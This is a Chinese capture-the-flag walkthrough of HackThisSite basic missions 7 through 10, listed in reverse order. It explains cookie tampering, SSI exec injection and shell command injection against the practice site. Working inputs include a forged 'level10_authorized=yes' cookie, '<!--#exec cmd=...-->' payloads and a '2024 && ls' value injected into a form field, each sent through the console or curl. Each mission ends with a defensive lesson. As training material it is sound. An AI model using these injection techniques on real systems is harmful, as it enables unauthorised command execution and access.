Hello Navi

Challenge

This time Sam used a more temporary and "hidden" approach to authenticating users, but he didn't think about whether or not those users knew their way around javascript...

Sam 使用了一种更临时、更"隐蔽"的方式来认证用户，但他没考虑到用户是否懂 JavaScript。

页面有一个密码输入框。

Solution

访问页面时，服务器会设置一个 cookie：

1

Set-Cookie: level10_authorized=no

提交密码时，服务器检查这个 cookie 的值。如果 level10_authorized=no，则拒绝访问。

解法：将 cookie 值改为 yes，然后提交表单。

方式一：浏览器开发者工具 Console：

1

document.cookie = "level10_authorized=yes";

方式二：curl：

1
2
3
4
5

$ curl -sL \
    -b 'HackThisSite=YOUR_COOKIE; level10_authorized=yes' \
    -e 'https://www.hackthissite.org/missions/basic/10/' \
    -d 'password=' \
    'https://www.hackthissite.org/missions/basic/10/index.php'

核心知识点：Cookie 是存储在客户端的，用户可以随意修改。不要依赖客户端 cookie 来做安全认证决策。任何存储在客户端的状态都可以被篡改。

Challenge

Network Security Sam is going down with the ship - he's determined to keep obscuring the password file, no matter how many times people manage to recover it. This time the file is saved in /var/www/hackthissite.org/html/missions/basic/9/.

In the last level, however, in my attempt to limit people to using server side includes to display the directory listing to level 8 only, I have mistakenly screwed up somewhere.. there is a way to get the obscured level 9 password.

Sam 坚持继续藏密码文件。这次藏在 /missions/basic/9/ 目录。 但他承认上一关的限制搞砸了，仍然有办法获取 level 9 的密码。

注意：这一关页面没有输入框（除了密码框），没有可直接注入的地方。

Solution

题目暗示上一关的 SSI 漏洞仍然可以利用来访问 level 9 的密码。

回到 Basic 8 的 level8.php，再次使用 SSI 注入，但这次将路径指向 level 9 的目录：

1

<!--#exec cmd="ls ../9/" -->

提交后访问生成的 .shtml 文件，输出显示 level 9 目录内容：

1
2

index.php
p91e283zc3.php    ← 密码文件

访问 https://www.hackthissite.org/missions/basic/9/p91e283zc3.php 获取密码。

核心知识点： 1. 修复一个漏洞时要确保修复彻底，不能只限制某个特定范围就以为安全了 2. 路径遍历（directory traversal）可以突破相对路径限制

Challenge

Sam remains confident that an obscured password file is still the best idea, but he screwed up with the calendar program. Sam has saved the unencrypted password file in /var/www/hackthissite.org/html/missions/basic/8/

Sam 仍然认为把密码文件藏起来是个好办法。密码文件保存在 /missions/basic/8/ 目录下。

Sam 的女儿 Stephanie 刚学了 PHP，她写了一个脚本来展示保存文件的能力。

页面有一个"Enter your name"输入框，还有一个密码输入框。

Solution

Stephanie 的脚本会保存用户输入的名字到一个 .shtml 文件中。.shtml 是 Server-Side Includes (SSI) 文件，服务器会解析其中的 SSI 指令。

尝试输入 SSI exec 指令来执行 shell 命令：

1

<!--#exec cmd="ls ../" -->

提交后，页面返回一个链接指向生成的 .shtml 文件（如 tmp/fyrvqqak.shtml）。访问这个链接，服务器会解析 SSI 指令并执行 ls ../，输出 /missions/basic/8/ 目录的内容：

1
2
3
4

au12ha39vc.php    ← 密码文件
index.php
level8.php
tmp/

然后访问 https://www.hackthissite.org/missions/basic/8/au12ha39vc.php 获取密码。

注意：服务器限制了可执行的命令范围（只允许与查找密码文件相关的命令），但 ls 是被允许的。

核心知识点：SSI Injection（服务器端包含注入）。当用户输入被保存到 .shtml 文件并由服务器解析时，SSI 指令中的 exec 可以执行任意 shell 命令。防御方法：不要将用户输入存储在会被服务器解析的文件中，或严格过滤 SSI 特殊字符。

Challenge

This time Network Security Sam has saved the unencrypted level7 password in an obscurely named file saved in this very directory. In other unrelated news, Sam has set up a script that returns the output from the UNIX cal command.

Sam 把未加密的密码文件保存在当前目录下，文件名很隐蔽。另外，Sam 还设置了一个脚本，可以返回 UNIX cal 命令的输出。

页面有一个输入框，可以输入年份查看日历，调用的是后端的 cal.pl Perl 脚本。

Solution

关键线索： 1. 密码文件在当前目录（/missions/basic/7/） 2. 页面调用 UNIX cal 命令 3. 可以通过这个表单执行命令

在 UNIX 中，可以用 && 连接多个命令。cal 2024 && ls 会先输出日历，然后列出当前目录的文件。

将 2024 && ls 输入到表单中：

1
2
3
4

$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
    -e 'https://www.hackthissite.org/missions/basic/7/' \
    --data-urlencode 'cal=2024 && ls' \
    'https://www.hackthissite.org/missions/basic/7/cal.pl'

在日历输出之后，会看到目录中的文件列表：

1
2
3

index.php
level7.php
k1kh31b1n55h.php   ← 这就是密码文件

访问 https://www.hackthissite.org/missions/basic/7/k1kh31b1n55h.php 即可获取密码。

核心知识点：Command Injection（命令注入）。当用户输入被直接拼接到 shell 命令中时，攻击者可以用 &&、;、| 等 shell 操作符注入额外的命令。防御方法是使用参数化调用（如 Python 的 subprocess.run 配 shell=False），或严格过滤输入。